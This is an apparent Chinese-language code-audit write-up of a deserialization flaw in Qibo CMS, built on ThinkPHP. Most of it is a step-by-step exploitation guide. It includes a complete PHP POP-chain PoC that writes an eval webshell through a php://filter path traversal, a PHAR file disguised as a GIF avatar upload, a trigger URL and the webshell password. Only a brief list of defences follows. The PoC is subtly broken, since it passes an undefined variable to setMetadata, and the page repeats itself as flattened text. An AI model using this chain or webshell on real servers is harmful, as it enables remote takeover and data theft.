某cms代码审计
字数 869 2025-08-03 16:50:34

齐博CMS系统命令执行漏洞分析与利用

漏洞概述

齐博CMS系统存在一个严重的命令执行漏洞,攻击者可以通过构造特殊的PHAR文件并利用反序列化漏洞,最终在服务器上写入Webshell,获取系统控制权。

漏洞利用详细步骤

第一步:获取网站根路径

访问以下URL可以获取网站根路径(需要开启debug模式):

/index.php/cms/1

在debug信息中查找网站根路径,后续利用需要此路径。

第二步:生成PHAR利用文件

以下是完整的POC代码,用于生成PHAR文件:

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];
        public function __construct($files) {
            $this->files = [$files];
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;
        function __construct($output, $modelRelation) {
            $this->parent = $output;
            $this->append = array("xxx"=>"getError");
            $this->error = $modelRelation;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation) {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {}
}

namespace think\model\relation {
    abstract class OneToOne {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query) {
            $this->selfRelation = 0;
            $this->query = $query;
            $this->bindAttr = ['xxx'];
        }
    }
}

namespace think\db {
    class Query {
        protected $model;
        function __construct($model) {
            $this->model = $model;
        }
    }
}

namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle) {
            $this->styles = ['getAttr'];
            $this->handle = $handle;
        }
    }
}

namespace think\session\driver {
    class Memcached {
        protected $handler;
        function __construct($handle) {
            $this->handler = $handle;
        }
    }
}

namespace think\cache\driver {
    class File {
        protected $options=null;
        protected $tag;
        function __construct(){
            $this->options=[
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWyd1cGxvYWQnXSk7ZWNobygidXBsb2FkIik7Pz4/../../../../../../../../../../../phpstudy_pro/WWW/aaa/x1/public/b.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }
    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    
    $filename = '2.phar';
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
}

关键点说明:

  1. 修改path参数中的网站根路径为实际路径
  2. Webshell内容为<?php @eval($_POST['upload']);echo("upload");?>
  3. 生成的PHAR文件伪装成GIF文件

第三步:上传PHAR文件

  1. 访问会员中心
  2. 点击修改个人资料
  3. 使用Burp Suite拦截文件上传请求
  4. 上传伪装成GIF的PHAR文件

第四步:触发反序列化漏洞

访问以下URL触发漏洞(替换为实际上传的GIF文件路径):

/index.php/index/Image/headers?url=phar://./public/uploads/pop/20210915/2_20210915195309ac45c.gif

第五步:访问Webshell

成功利用后,Webshell将被写入到指定路径:

/public/b.php12ac95f1498ce51d2d96a249c09c1998.php

使用密码upload连接Webshell。

技术原理分析

该漏洞利用了PHP反序列化漏洞链,通过精心构造的POP链实现远程代码执行:

  1. 反序列化入口点:通过phar://协议触发反序列化
  2. POP链构造
    • Windows类 -> Pivot类 -> Model类
    • 通过Model类的getError方法调用
    • 最终利用File类的路径处理写入Webshell
  3. 文件写入技巧:使用php://filter包装器和路径遍历实现任意文件写入

防御措施

  1. 禁用phar://协议
  2. 更新齐博CMS到最新版本
  3. 关闭生产环境的debug模式
  4. 对上传文件进行严格检查,不仅检查文件头还要验证实际内容
  5. 实施WAF规则拦截可疑的反序列化请求

总结

该漏洞展示了反序列化漏洞的严重性,通过精心构造的POP链可以实现远程代码执行。防御此类漏洞需要多层次的防护措施,包括输入验证、协议限制和及时更新补丁。

齐博CMS系统命令执行漏洞分析与利用 漏洞概述 齐博CMS系统存在一个严重的命令执行漏洞,攻击者可以通过构造特殊的PHAR文件并利用反序列化漏洞,最终在服务器上写入Webshell,获取系统控制权。 漏洞利用详细步骤 第一步:获取网站根路径 访问以下URL可以获取网站根路径(需要开启debug模式): 在debug信息中查找网站根路径,后续利用需要此路径。 第二步:生成PHAR利用文件 以下是完整的POC代码,用于生成PHAR文件: 关键点说明: 修改 path 参数中的网站根路径为实际路径 Webshell内容为 <?php @eval($_POST['upload']);echo("upload");?> 生成的PHAR文件伪装成GIF文件 第三步:上传PHAR文件 访问会员中心 点击修改个人资料 使用Burp Suite拦截文件上传请求 上传伪装成GIF的PHAR文件 第四步:触发反序列化漏洞 访问以下URL触发漏洞(替换为实际上传的GIF文件路径): 第五步:访问Webshell 成功利用后,Webshell将被写入到指定路径: 使用密码 upload 连接Webshell。 技术原理分析 该漏洞利用了PHP反序列化漏洞链,通过精心构造的POP链实现远程代码执行: 反序列化入口点 :通过phar://协议触发反序列化 POP链构造 : Windows类 -> Pivot类 -> Model类 通过Model类的 getError 方法调用 最终利用File类的路径处理写入Webshell 文件写入技巧 :使用php://filter包装器和路径遍历实现任意文件写入 防御措施 禁用phar://协议 更新齐博CMS到最新版本 关闭生产环境的debug模式 对上传文件进行严格检查,不仅检查文件头还要验证实际内容 实施WAF规则拦截可疑的反序列化请求 总结 该漏洞展示了反序列化漏洞的严重性,通过精心构造的POP链可以实现远程代码执行。防御此类漏洞需要多层次的防护措施,包括输入验证、协议限制和及时更新补丁。